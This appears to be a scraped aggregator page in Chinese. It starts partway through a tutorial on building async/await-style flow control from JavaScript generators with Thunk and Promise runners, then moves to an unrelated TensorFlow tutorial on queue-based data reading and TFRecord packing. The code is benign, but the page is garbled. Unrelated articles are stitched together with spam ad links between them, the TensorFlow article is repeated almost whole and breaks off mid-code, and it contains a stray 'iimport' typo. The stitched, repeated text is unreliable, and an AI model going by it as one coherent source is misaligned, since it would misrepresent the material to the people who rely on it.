    async/await實際上是Generator函數的語法糖,如Promises類似於結構化回調,async/await在實現上結合了Generator函數與Promise函數,下面使用Generator函數加Thunk函數的形式實現一個與上邊相同的例子,可以看到只是將async替換成了*放置在函數右端,並將await替換成了yield,所以說async/await實際上是Generator函數的語法糖,此處唯一不同的地方在於實現了一個流程的自動管理函數run,而async/await內置了執行器,關於這個例子的實現下邊會詳述。對比來看,asyncawait,比起*yield,語義更清楚,async表示函數里有異步操作,await表示緊跟在後面的表達式需要等待結果。

    function thunkFunct(index){
        return function f(funct){
            var rand = Math.random() * 2;
            setTimeout(() => funct(rand), 1000)
        }
    }
    
    function* generator(){ 
        var r1 = yield thunkFunct();
        console.log(1, r1);
        var r2 = yield thunkFunct();
        console.log(2, r2);
        var r3 = yield thunkFunct();
        console.log(3, r3);
    }
    
    function run(generator){
        var g = generator();
    
        var next = function(data){
            var res = g.next(data);
            if(res.done) return ;
            // console.log(res.value);
            res.value(next);
        }
    
        next();
    }
    
    run(generator);
    

    實現

    async函數內置了執行器,能夠實現函數執行的自動流程管理,通過Generator yield ThunkGenerator yield Promise實現一個自動流程管理,只需要編寫Generator函數以及Thunk函數或者Promise對象並傳入自執行函數,就可以實現類似於async/await的效果。

    Generator yield Thunk

    自動流程管理run函數,首先需要知道在調用next()方法時,如果傳入了參數,那麼這個參數會傳給上一條執行的yield語句左邊的變量,在這個函數中,第一次執行next時並未傳遞參數,而且在第一個yield上邊也並不存在接收變量的語句,無需傳遞參數,接下來就是判斷是否執行完這個生成器函數,在這裏並沒有執行完,那麼將自定義的next函數傳入res.value中,這裏需要注意res.value是一個函數,可以在下邊的例子中將註釋的那一行執行,然後就可以看到這個值是f(funct){...},此時我們將自定義的next函數傳遞后,就將next的執行權限交予了f這個函數,在這個函數執行完異步任務后,會執行回調函數,在這個回調函數中會觸發生成器的下一個next方法,並且這個next方法是傳遞了參數的,上文提到傳入參數後會將其傳遞給上一條執行的yield語句左邊的變量,那麼在這一次執行中會將這個參數值傳遞給r1,然後在繼續執行next,不斷往複,直到生成器函數結束運行,這樣就實現了流程的自動管理。

    function thunkFunct(index){
        return function f(funct){
            var rand = Math.random() * 2;
            setTimeout(() => funct(rand), 1000)
        }
    }
    
    function* generator(){ 
        var r1 = yield thunkFunct();
        console.log(1, r1);
        var r2 = yield thunkFunct();
        console.log(2, r2);
        var r3 = yield thunkFunct();
        console.log(3, r3);
    }
    
    function run(generator){
        var g = generator();
    
        var next = function(data){
            var res = g.next(data);
            if(res.done) return ;
            // console.log(res.value);
            res.value(next);
        }
    
        next();
    }
    
    run(generator);
    

    Generator yield Promise

    相對於使用Thunk函數來做流程自動管理,使用Promise來實現相對更加簡單,Promise實例能夠知道上一次回調什麼時候執行,通過then方法啟動下一個yield,不斷繼續執行,這樣就實現了流程的自動管理。

    function promise(){
        return new Promise((resolve,reject) => {
            var rand = Math.random() * 2;
            setTimeout( () => resolve(rand), 1000);
        })
    }
    
    function* generator(){ 
        var r1 = yield promise();
        console.log(1, r1);
        var r2 = yield promise();
        console.log(2, r2);
        var r3 = yield promise();
        console.log(3, r3);
    }
    
    function run(generator){
        var g = generator();
    
        var next = function(data){
            var res = g.next(data);
            if(res.done) return ;
            res.value.then(data => next(data));
        }
    
        next();
    }
    
    run(generator);
    
    // 比較完整的流程自動管理函數
    function promise(){
        return new Promise((resolve,reject) => {
            var rand = Math.random() * 2;
            setTimeout( () => resolve(rand), 1000);
        })
    }
    
    function* generator(){ 
        var r1 = yield promise();
        console.log(1, r1);
        var r2 = yield promise();
        console.log(2, r2);
        var r3 = yield promise();
        console.log(3, r3);
    }
    
    function run(generator){
        return new Promise((resolve, reject) => {
            var g = generator();
            
            var next = function(data){
                var res = null;
                try{
                    res = g.next(data);
                }catch(e){
                    return reject(e);
                }
                if(!res) return reject(null);
                if(res.done) return resolve(res.value);
                Promise.resolve(res.value).then(data => {
                    next(data);
                },(e) => {
                    throw new Error(e);
                });
            }
            
            next();
        })
       
    }
    
    run(generator).then( () => {
        console.log("Finish");
    });
    

    每日一題

    https://github.com/WindrunnerMax/EveryDay
    

    參考

    https://segmentfault.com/a/1190000007535316
    http://www.ruanyifeng.com/blog/2015/05/co.html
    http://www.ruanyifeng.com/blog/2015/05/async.html
    

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※超省錢租車方案

    ※教你寫出一流的銷售文案?

    網頁設計最專業,超強功能平台可客製化

  • Tensorflow 中(批量)讀取數據的案列分析及TFRecord文件的打包與讀取

    Tensorflow 中(批量)讀取數據的案列分析及TFRecord文件的打包與讀取

    內容概要:

    單一數據讀取方式:

      第一種:slice_input_producer()

    # 返回值可以直接通過 Session.run([images, labels])查看,且第一個參數必須放在列表中,如[...]
    [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

      第二種:string_input_producer()

    # 需要定義文件讀取器,然後通過讀取器中的 read()方法來獲取數據(返回值類型 key,value),再通過 Session.run(value)查看
    file_queue = tf.train.string_input_producer(filename, num_epochs=None, shuffle=True)

    reader = tf.WholeFileReader() # 定義文件讀取器
    key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容

      !!!num_epochs=None,不指定迭代次數,這樣文件隊列中元素個數也不限定(None*數據集大小)。

      !!!如果不是None,則此函數創建本地計數器 epochs,需要使用local_variables_initializer()初始化局部變量

      !!!以上兩種方法都可以生成文件名隊列。

    (隨機)批量數據讀取方式:

    batchsize=2  # 每次讀取的樣本數量
    tf.train.batch(tensors, batch_size=batchsize)
    tf.train.shuffle_batch(tensors, batch_size=batchsize, capacity=batchsize*10, min_after_dequeue=batchsize*5) # capacity > min_after_dequeue

      !!!以上所有讀取數據的方法,在Session.run()之前必須開啟文件隊列線程 tf.train.start_queue_runners()

     TFRecord文件的打包與讀取

     

     一、單一數據讀取方式

    第一種:slice_input_producer()

    def slice_input_producer(tensor_list, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None)

    案例1:

    import tensorflow as tf
    
    images = ['image1.jpg', 'image2.jpg', 'image3.jpg', 'image4.jpg']
    labels = [1, 2, 3, 4]
    
    # [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
    
    # 當num_epochs=2時,此時文件隊列中只有 2*4=8個樣本,所有在取第9個樣本時會出錯
    # [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=2, shuffle=True)
    
    data = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
    print(type(data))   # <class 'list'>
    
    with tf.Session() as sess:
        # sess.run(tf.local_variables_initializer())
        sess.run(tf.local_variables_initializer())
        coord = tf.train.Coordinator()  # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)  # 開始在圖表中收集隊列運行器
    
        for i in range(10):
            print(sess.run(data))
    
        coord.request_stop()
        coord.join(threads)
    
    """
    運行結果:
    [b'image2.jpg', 2]
    [b'image1.jpg', 1]
    [b'image3.jpg', 3]
    [b'image4.jpg', 4]
    [b'image2.jpg', 2]
    [b'image1.jpg', 1]
    [b'image3.jpg', 3]
    [b'image4.jpg', 4]
    [b'image2.jpg', 2]
    [b'image3.jpg', 3]
    """

      !!!slice_input_producer() 中的第一個參數需要放在一個列表中,列表中的每個元素可以是 List 或 Tensor,如 [images,labels],

      !!!num_epochs設置

     

     第二種:string_input_producer()

    def string_input_producer(string_tensor, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None, cancel_op=None)

    文件讀取器

      不同類型的文件對應不同的文件讀取器,我們稱為 reader對象

      該對象的 read 方法自動讀取文件,並創建數據隊列,輸出key/文件名,value/文件內容;

    reader = tf.TextLineReader()      ### 一行一行讀取,適用於所有文本文件

    reader = tf.TFRecordReader() ### A Reader that outputs the records from a TFRecords file
    reader = tf.WholeFileReader() ### 一次讀取整個文件,適用圖片

     案例2:讀取csv文件

    iimport tensorflow as tf
    
    filename = ['data/A.csv', 'data/B.csv', 'data/C.csv']
    
    file_queue = tf.train.string_input_producer(filename, shuffle=True, num_epochs=2)   # 生成文件名隊列
    reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
    # reader = tf.TextLineReader()            # 定義文件讀取器(一行一行的讀)
    key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容
    print(type(file_queue))
    
    init = [tf.global_variables_initializer(), tf.local_variables_initializer()]
    with tf.Session() as sess:
        sess.run(init)
        coord = tf.train.Coordinator()
        threads = tf.train.start_queue_runners(sess=sess, coord=coord)
        try:
            while not coord.should_stop():
                for i in range(6):
                    print(sess.run([key, value]))
                break
        except tf.errors.OutOfRangeError:
            print('read done')
        finally:
            coord.request_stop()
        coord.join(threads)
    
    """
    reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
    運行結果:
    [b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
    [b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
    [b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
    [b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
    [b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
    [b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
    """
    """
    reader = tf.TextLineReader()           # 定義文件讀取器(一行一行的讀)
    運行結果:
    [b'data/B.csv:1', b'4.jpg,4']
    [b'data/B.csv:2', b'5.jpg,5']
    [b'data/B.csv:3', b'6.jpg,6']
    [b'data/C.csv:1', b'7.jpg,7']
    [b'data/C.csv:2', b'8.jpg,8']
    [b'data/C.csv:3', b'9.jpg,9']
    """

    案例3:讀取圖片(每次讀取全部圖片內容,不是一行一行)

    import tensorflow as tf
    
    filename = ['1.jpg', '2.jpg']
    filename_queue = tf.train.string_input_producer(filename, shuffle=False, num_epochs=1)
    reader = tf.WholeFileReader()              # 文件讀取器
    key, value = reader.read(filename_queue)   # 讀取文件 key:文件名;value:圖片數據,bytes
    
    with tf.Session() as sess:
        tf.local_variables_initializer().run()
        coord = tf.train.Coordinator()      # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)
    
        for i in range(filename.__len__()):
            image_data = sess.run(value)
            with open('img_%d.jpg' % i, 'wb') as f:
                f.write(image_data)
        coord.request_stop()
        coord.join(threads)

     

     二、(隨機)批量數據讀取方式:

      功能:shuffle_batch() 和 batch() 這兩個API都是從文件隊列中批量獲取數據,使用方式類似;

    案例4:slice_input_producer() 與 batch()

    import tensorflow as tf
    import numpy as np
    
    images = np.arange(20).reshape([10, 2])
    label = np.asarray(range(0, 10))
    images = tf.cast(images, tf.float32)  # 可以註釋掉,不影響運行結果
    label = tf.cast(label, tf.int32)     # 可以註釋掉,不影響運行結果
    
    batchsize = 6   # 每次獲取元素的數量
    input_queue = tf.train.slice_input_producer([images, label], num_epochs=None, shuffle=False)
    image_batch, label_batch = tf.train.batch(input_queue, batch_size=batchsize)
    
    # 隨機獲取 batchsize個元素,其中,capacity:隊列容量,這個參數一定要比 min_after_dequeue 大
    # image_batch, label_batch = tf.train.shuffle_batch(input_queue, batch_size=batchsize, capacity=64, min_after_dequeue=10)
    
    with tf.Session() as sess:
        coord = tf.train.Coordinator()      # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
        for cnt in range(2):
            print("第{}次獲取數據,每次batch={}...".format(cnt+1, batchsize))
            image_batch_v, label_batch_v = sess.run([image_batch, label_batch])
            print(image_batch_v, label_batch_v, label_batch_v.__len__())
    
        coord.request_stop()
        coord.join(threads)
    
    """
    運行結果:
    第1次獲取數據,每次batch=6...
    [[ 0.  1.]
     [ 2.  3.]
     [ 4.  5.]
     [ 6.  7.]
     [ 8.  9.]
     [10. 11.]] [0 1 2 3 4 5] 6
    第2次獲取數據,每次batch=6...
    [[12. 13.]
     [14. 15.]
     [16. 17.]
     [18. 19.]
     [ 0.  1.]
     [ 2.  3.]] [6 7 8 9 0 1] 6
    """

     案例5:從本地批量的讀取圖片 — string_input_producer() 與 batch()

     1 import tensorflow as tf
     2 import glob
     3 import cv2 as cv
     4 
     5 def read_imgs(filename, picture_format, input_image_shape, batch_size=1):
     6     """
     7     從本地批量的讀取圖片
     8     :param filename: 圖片路徑(包括圖片的文件名),[]
     9     :param picture_format: 圖片的格式,如 bmp,jpg,png等; string
    10     :param input_image_shape: 輸入圖像的大小; (h,w,c)或[]
    11     :param batch_size: 每次從文件隊列中加載圖片的數量; int
    12     :return: batch_size張圖片數據, Tensor
    13     """
    14     global new_img
    15     # 創建文件隊列
    16     file_queue = tf.train.string_input_producer(filename, num_epochs=1, shuffle=True)
    17     # 創建文件讀取器
    18     reader = tf.WholeFileReader()
    19     # 讀取文件隊列中的文件
    20     _, img_bytes = reader.read(file_queue)
    21     # print(img_bytes)    # Tensor("ReaderReadV2_19:1", shape=(), dtype=string)
    22     # 對圖片進行解碼
    23     if picture_format == ".bmp":
    24         new_img = tf.image.decode_bmp(img_bytes, channels=1)
    25     elif picture_format == ".jpg":
    26         new_img = tf.image.decode_jpeg(img_bytes, channels=3)
    27     else:
    28         pass
    29     # 重新設置圖片的大小
    30     # new_img = tf.image.resize_images(new_img, input_image_shape)
    31     new_img = tf.reshape(new_img, input_image_shape)
    32     # 設置圖片的數據類型
    33     new_img = tf.image.convert_image_dtype(new_img, tf.uint8)
    34 
    35     # return new_img
    36     return tf.train.batch([new_img], batch_size)
    37 
    38 
    39 def main():
    40     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
    41     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
    42     print(type(image_batch))
    43     # image_path = glob.glob(r'.\*.jpg')
    44     # image_batch = read_imgs(image_path, ".jpg", (313, 500, 3), 1)
    45 
    46     sess = tf.Session()
    47     sess.run(tf.local_variables_initializer())
    48     tf.train.start_queue_runners(sess=sess)
    49 
    50     image_batch = sess.run(image_batch)
    51     print(type(image_batch))    # <class 'numpy.ndarray'>
    52 
    53     for i in range(image_batch.__len__()):
    54         cv.imshow("win_"+str(i), image_batch[i])
    55     cv.waitKey()
    56     cv.destroyAllWindows()
    57 
    58 def start():
    59     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
    60     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
    61     print(type(image_batch))    # <class 'tensorflow.python.framework.ops.Tensor'>
    62 
    63 
    64     with tf.Session() as sess:
    65         sess.run(tf.local_variables_initializer())
    66         coord = tf.train.Coordinator()      # 線程的協調器
    67         threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
    68         image_batch = sess.run(image_batch)
    69         print(type(image_batch))    # <class 'numpy.ndarray'>
    70 
    71         for i in range(image_batch.__len__()):
    72             cv.imshow("win_"+str(i), image_batch[i])
    73         cv.waitKey()
    74         cv.destroyAllWindows()
    75 
    76         # 若使用 with 方式打開 Session,且沒加如下2行語句,則會出錯
    77         # ERROR:tensorflow:Exception in QueueRunner: Enqueue operation was cancelled;
    78         # 原因:文件隊列線程還處於工作狀態(隊列中還有圖片數據),而加載完batch_size張圖片會話就會自動關閉,同時關閉文件隊列線程
    79         coord.request_stop()
    80         coord.join(threads)
    81 
    82 
    83 if __name__ == "__main__":
    84     # main()
    85     start()

    從本地批量的讀取圖片案例

     

    案列6:TFRecord文件打包與讀取

     1 def write_TFRecord(filename, data, labels, is_shuffler=True):
     2     """
     3     將數據打包成TFRecord格式
     4     :param filename: 打包後路徑名,默認在工程目錄下創建該文件;String
     5     :param data: 需要打包的文件路徑名;list
     6     :param labels: 對應文件的標籤;list
     7     :param is_shuffler:是否隨機初始化打包后的數據,默認:True;Bool
     8     :return: None
     9     """
    10     im_data = list(data)
    11     im_labels = list(labels)
    12 
    13     index = [i for i in range(im_data.__len__())]
    14     if is_shuffler:
    15         np.random.shuffle(index)
    16 
    17     # 創建寫入器,然後使用該對象寫入樣本example
    18     writer = tf.python_io.TFRecordWriter(filename)
    19     for i in range(im_data.__len__()):
    20         im_d = im_data[index[i]]    # im_d:存放着第index[i]張圖片的路徑信息
    21         im_l = im_labels[index[i]]  # im_l:存放着對應圖片的標籤信息
    22 
    23         # # 獲取當前的圖片數據  方式一:
    24         # data = cv2.imread(im_d)
    25         # # 創建樣本
    26         # ex = tf.train.Example(
    27         #     features=tf.train.Features(
    28         #         feature={
    29         #             "image": tf.train.Feature(
    30         #                 bytes_list=tf.train.BytesList(
    31         #                     value=[data.tobytes()])), # 需要打包成bytes類型
    32         #             "label": tf.train.Feature(
    33         #                 int64_list=tf.train.Int64List(
    34         #                     value=[im_l])),
    35         #         }
    36         #     )
    37         # )
    38         # 獲取當前的圖片數據  方式二:相對於方式一,打包文件佔用空間小了一半多
    39         data = tf.gfile.FastGFile(im_d, "rb").read()
    40         ex = tf.train.Example(
    41             features=tf.train.Features(
    42                 feature={
    43                     "image": tf.train.Feature(
    44                         bytes_list=tf.train.BytesList(
    45                             value=[data])), # 此時的data已經是bytes類型
    46                     "label": tf.train.Feature(
    47                         int64_list=tf.train.Int64List(
    48                             value=[im_l])),
    49                 }
    50             )
    51         )
    52 
    53         # 寫入將序列化之後的樣本
    54         writer.write(ex.SerializeToString())
    55     # 關閉寫入器
    56     writer.close()

    TFRecord文件打包案列

     

     1 import tensorflow as tf
     2 import cv2
     3 
     4 def read_TFRecord(file_list, batch_size=10):
     5     """
     6     讀取TFRecord文件
     7     :param file_list: 存放TFRecord的文件名,List
     8     :param batch_size: 每次讀取圖片的數量
     9     :return: 解析後圖片及對應的標籤
    10     """
    11     file_queue = tf.train.string_input_producer(file_list, num_epochs=None, shuffle=True)
    12     reader = tf.TFRecordReader()
    13     _, ex = reader.read(file_queue)
    14     batch = tf.train.shuffle_batch([ex], batch_size, capacity=batch_size * 10, min_after_dequeue=batch_size * 5)
    15 
    16     feature = {
    17         'image': tf.FixedLenFeature([], tf.string),
    18         'label': tf.FixedLenFeature([], tf.int64)
    19     }
    20     example = tf.parse_example(batch, features=feature)
    21 
    22     images = tf.decode_raw(example['image'], tf.uint8)
    23     images = tf.reshape(images, [-1, 32, 32, 3])
    24 
    25     return images, example['label']
    26 
    27 
    28 
    29 def main():
    30     # filelist = ['data/train.tfrecord']
    31     filelist = ['data/test.tfrecord']
    32     images, labels = read_TFRecord(filelist, 2)
    33     with tf.Session() as sess:
    34         sess.run(tf.local_variables_initializer())
    35         coord = tf.train.Coordinator()
    36         threads = tf.train.start_queue_runners(sess=sess, coord=coord)
    37 
    38         try:
    39             while not coord.should_stop():
    40                 for i in range(1):
    41                     image_bth, _ = sess.run([images, labels])
    42                     print(_)
    43 
    44                     cv2.imshow("image_0", image_bth[0])
    45                     cv2.imshow("image_1", image_bth[1])
    46                 break
    47         except tf.errors.OutOfRangeError:
    48             print('read done')
    49         finally:
    50             coord.request_stop()
    51         coord.join(threads)
    52         cv2.waitKey(0)
    53         cv2.destroyAllWindows()
    54 
    55 if __name__ == "__main__":
    56     main()

    TFReord文件的讀取案列

     

    ,

    內容概要:

    單一數據讀取方式:

      第一種:slice_input_producer()

    # 返回值可以直接通過 Session.run([images, labels])查看,且第一個參數必須放在列表中,如[...]
    [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

      第二種:string_input_producer()

    # 需要定義文件讀取器,然後通過讀取器中的 read()方法來獲取數據(返回值類型 key,value),再通過 Session.run(value)查看
    file_queue = tf.train.string_input_producer(filename, num_epochs=None, shuffle=True)

    reader = tf.WholeFileReader() # 定義文件讀取器
    key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容

      !!!num_epochs=None,不指定迭代次數,這樣文件隊列中元素個數也不限定(None*數據集大小)。

      !!!如果不是None,則此函數創建本地計數器 epochs,需要使用local_variables_initializer()初始化局部變量

      !!!以上兩種方法都可以生成文件名隊列。

    (隨機)批量數據讀取方式:

    batchsize=2  # 每次讀取的樣本數量
    tf.train.batch(tensors, batch_size=batchsize)
    tf.train.shuffle_batch(tensors, batch_size=batchsize, capacity=batchsize*10, min_after_dequeue=batchsize*5) # capacity > min_after_dequeue

      !!!以上所有讀取數據的方法,在Session.run()之前必須開啟文件隊列線程 tf.train.start_queue_runners()

     TFRecord文件的打包與讀取

     

     一、單一數據讀取方式

    第一種:slice_input_producer()

    def slice_input_producer(tensor_list, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None)

    案例1:

    import tensorflow as tf
    
    images = ['image1.jpg', 'image2.jpg', 'image3.jpg', 'image4.jpg']
    labels = [1, 2, 3, 4]
    
    # [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
    
    # 當num_epochs=2時,此時文件隊列中只有 2*4=8個樣本,所有在取第9個樣本時會出錯
    # [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=2, shuffle=True)
    
    data = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
    print(type(data))   # <class 'list'>
    
    with tf.Session() as sess:
        # sess.run(tf.local_variables_initializer())
        sess.run(tf.local_variables_initializer())
        coord = tf.train.Coordinator()  # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)  # 開始在圖表中收集隊列運行器
    
        for i in range(10):
            print(sess.run(data))
    
        coord.request_stop()
        coord.join(threads)
    
    """
    運行結果:
    [b'image2.jpg', 2]
    [b'image1.jpg', 1]
    [b'image3.jpg', 3]
    [b'image4.jpg', 4]
    [b'image2.jpg', 2]
    [b'image1.jpg', 1]
    [b'image3.jpg', 3]
    [b'image4.jpg', 4]
    [b'image2.jpg', 2]
    [b'image3.jpg', 3]
    """

      !!!slice_input_producer() 中的第一個參數需要放在一個列表中,列表中的每個元素可以是 List 或 Tensor,如 [images,labels],

      !!!num_epochs設置

     

     第二種:string_input_producer()

    def string_input_producer(string_tensor, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None, cancel_op=None)

    文件讀取器

      不同類型的文件對應不同的文件讀取器,我們稱為 reader對象

      該對象的 read 方法自動讀取文件,並創建數據隊列,輸出key/文件名,value/文件內容;

    reader = tf.TextLineReader()      ### 一行一行讀取,適用於所有文本文件

    reader = tf.TFRecordReader() ### A Reader that outputs the records from a TFRecords file
    reader = tf.WholeFileReader() ### 一次讀取整個文件,適用圖片

     案例2:讀取csv文件

    iimport tensorflow as tf
    
    filename = ['data/A.csv', 'data/B.csv', 'data/C.csv']
    
    file_queue = tf.train.string_input_producer(filename, shuffle=True, num_epochs=2)   # 生成文件名隊列
    reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
    # reader = tf.TextLineReader()            # 定義文件讀取器(一行一行的讀)
    key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容
    print(type(file_queue))
    
    init = [tf.global_variables_initializer(), tf.local_variables_initializer()]
    with tf.Session() as sess:
        sess.run(init)
        coord = tf.train.Coordinator()
        threads = tf.train.start_queue_runners(sess=sess, coord=coord)
        try:
            while not coord.should_stop():
                for i in range(6):
                    print(sess.run([key, value]))
                break
        except tf.errors.OutOfRangeError:
            print('read done')
        finally:
            coord.request_stop()
        coord.join(threads)
    
    """
    reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
    運行結果:
    [b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
    [b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
    [b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
    [b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
    [b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
    [b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
    """
    """
    reader = tf.TextLineReader()           # 定義文件讀取器(一行一行的讀)
    運行結果:
    [b'data/B.csv:1', b'4.jpg,4']
    [b'data/B.csv:2', b'5.jpg,5']
    [b'data/B.csv:3', b'6.jpg,6']
    [b'data/C.csv:1', b'7.jpg,7']
    [b'data/C.csv:2', b'8.jpg,8']
    [b'data/C.csv:3', b'9.jpg,9']
    """

    案例3:讀取圖片(每次讀取全部圖片內容,不是一行一行)

    import tensorflow as tf
    
    filename = ['1.jpg', '2.jpg']
    filename_queue = tf.train.string_input_producer(filename, shuffle=False, num_epochs=1)
    reader = tf.WholeFileReader()              # 文件讀取器
    key, value = reader.read(filename_queue)   # 讀取文件 key:文件名;value:圖片數據,bytes
    
    with tf.Session() as sess:
        tf.local_variables_initializer().run()
        coord = tf.train.Coordinator()      # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)
    
        for i in range(filename.__len__()):
            image_data = sess.run(value)
            with open('img_%d.jpg' % i, 'wb') as f:
                f.write(image_data)
        coord.request_stop()
        coord.join(threads)

     

     二、(隨機)批量數據讀取方式:

      功能:shuffle_batch() 和 batch() 這兩個API都是從文件隊列中批量獲取數據,使用方式類似;

    案例4:slice_input_producer() 與 batch()

    import tensorflow as tf
    import numpy as np
    
    images = np.arange(20).reshape([10, 2])
    label = np.asarray(range(0, 10))
    images = tf.cast(images, tf.float32)  # 可以註釋掉,不影響運行結果
    label = tf.cast(label, tf.int32)     # 可以註釋掉,不影響運行結果
    
    batchsize = 6   # 每次獲取元素的數量
    input_queue = tf.train.slice_input_producer([images, label], num_epochs=None, shuffle=False)
    image_batch, label_batch = tf.train.batch(input_queue, batch_size=batchsize)
    
    # 隨機獲取 batchsize個元素,其中,capacity:隊列容量,這個參數一定要比 min_after_dequeue 大
    # image_batch, label_batch = tf.train.shuffle_batch(input_queue, batch_size=batchsize, capacity=64, min_after_dequeue=10)
    
    with tf.Session() as sess:
        coord = tf.train.Coordinator()      # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
        for cnt in range(2):
            print("第{}次獲取數據,每次batch={}...".format(cnt+1, batchsize))
            image_batch_v, label_batch_v = sess.run([image_batch, label_batch])
            print(image_batch_v, label_batch_v, label_batch_v.__len__())
    
        coord.request_stop()
        coord.join(threads)
    
    """
    運行結果:
    第1次獲取數據,每次batch=6...
    [[ 0.  1.]
     [ 2.  3.]
     [ 4.  5.]
     [ 6.  7.]
     [ 8.  9.]
     [10. 11.]] [0 1 2 3 4 5] 6
    第2次獲取數據,每次batch=6...
    [[12. 13.]
     [14. 15.]
     [16. 17.]
     [18. 19.]
     [ 0.  1.]
     [ 2.  3.]] [6 7 8 9 0 1] 6
    """

     案例5:從本地批量的讀取圖片 — string_input_producer() 與 batch()

     1 import tensorflow as tf
     2 import glob
     3 import cv2 as cv
     4 
     5 def read_imgs(filename, picture_format, input_image_shape, batch_size=1):
     6     """
     7     從本地批量的讀取圖片
     8     :param filename: 圖片路徑(包括圖片的文件名),[]
     9     :param picture_format: 圖片的格式,如 bmp,jpg,png等; string
    10     :param input_image_shape: 輸入圖像的大小; (h,w,c)或[]
    11     :param batch_size: 每次從文件隊列中加載圖片的數量; int
    12     :return: batch_size張圖片數據, Tensor
    13     """
    14     global new_img
    15     # 創建文件隊列
    16     file_queue = tf.train.string_input_producer(filename, num_epochs=1, shuffle=True)
    17     # 創建文件讀取器
    18     reader = tf.WholeFileReader()
    19     # 讀取文件隊列中的文件
    20     _, img_bytes = reader.read(file_queue)
    21     # print(img_bytes)    # Tensor("ReaderReadV2_19:1", shape=(), dtype=string)
    22     # 對圖片進行解碼
    23     if picture_format == ".bmp":
    24         new_img = tf.image.decode_bmp(img_bytes, channels=1)
    25     elif picture_format == ".jpg":
    26         new_img = tf.image.decode_jpeg(img_bytes, channels=3)
    27     else:
    28         pass
    29     # 重新設置圖片的大小
    30     # new_img = tf.image.resize_images(new_img, input_image_shape)
    31     new_img = tf.reshape(new_img, input_image_shape)
    32     # 設置圖片的數據類型
    33     new_img = tf.image.convert_image_dtype(new_img, tf.uint8)
    34 
    35     # return new_img
    36     return tf.train.batch([new_img], batch_size)
    37 
    38 
    39 def main():
    40     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
    41     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
    42     print(type(image_batch))
    43     # image_path = glob.glob(r'.\*.jpg')
    44     # image_batch = read_imgs(image_path, ".jpg", (313, 500, 3), 1)
    45 
    46     sess = tf.Session()
    47     sess.run(tf.local_variables_initializer())
    48     tf.train.start_queue_runners(sess=sess)
    49 
    50     image_batch = sess.run(image_batch)
    51     print(type(image_batch))    # <class 'numpy.ndarray'>
    52 
    53     for i in range(image_batch.__len__()):
    54         cv.imshow("win_"+str(i), image_batch[i])
    55     cv.waitKey()
    56     cv.destroyAllWindows()
    57 
    58 def start():
    59     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
    60     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
    61     print(type(image_batch))    # <class 'tensorflow.python.framework.ops.Tensor'>
    62 
    63 
    64     with tf.Session() as sess:
    65         sess.run(tf.local_variables_initializer())
    66         coord = tf.train.Coordinator()      # 線程的協調器
    67         threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
    68         image_batch = sess.run(image_batch)
    69         print(type(image_batch))    # <class 'numpy.ndarray'>
    70 
    71         for i in range(image_batch.__len__()):
    72             cv.imshow("win_"+str(i), image_batch[i])
    73         cv.waitKey()
    74         cv.destroyAllWindows()
    75 
    76         # 若使用 with 方式打開 Session,且沒加如下2行語句,則會出錯
    77         # ERROR:tensorflow:Exception in QueueRunner: Enqueue operation was cancelled;
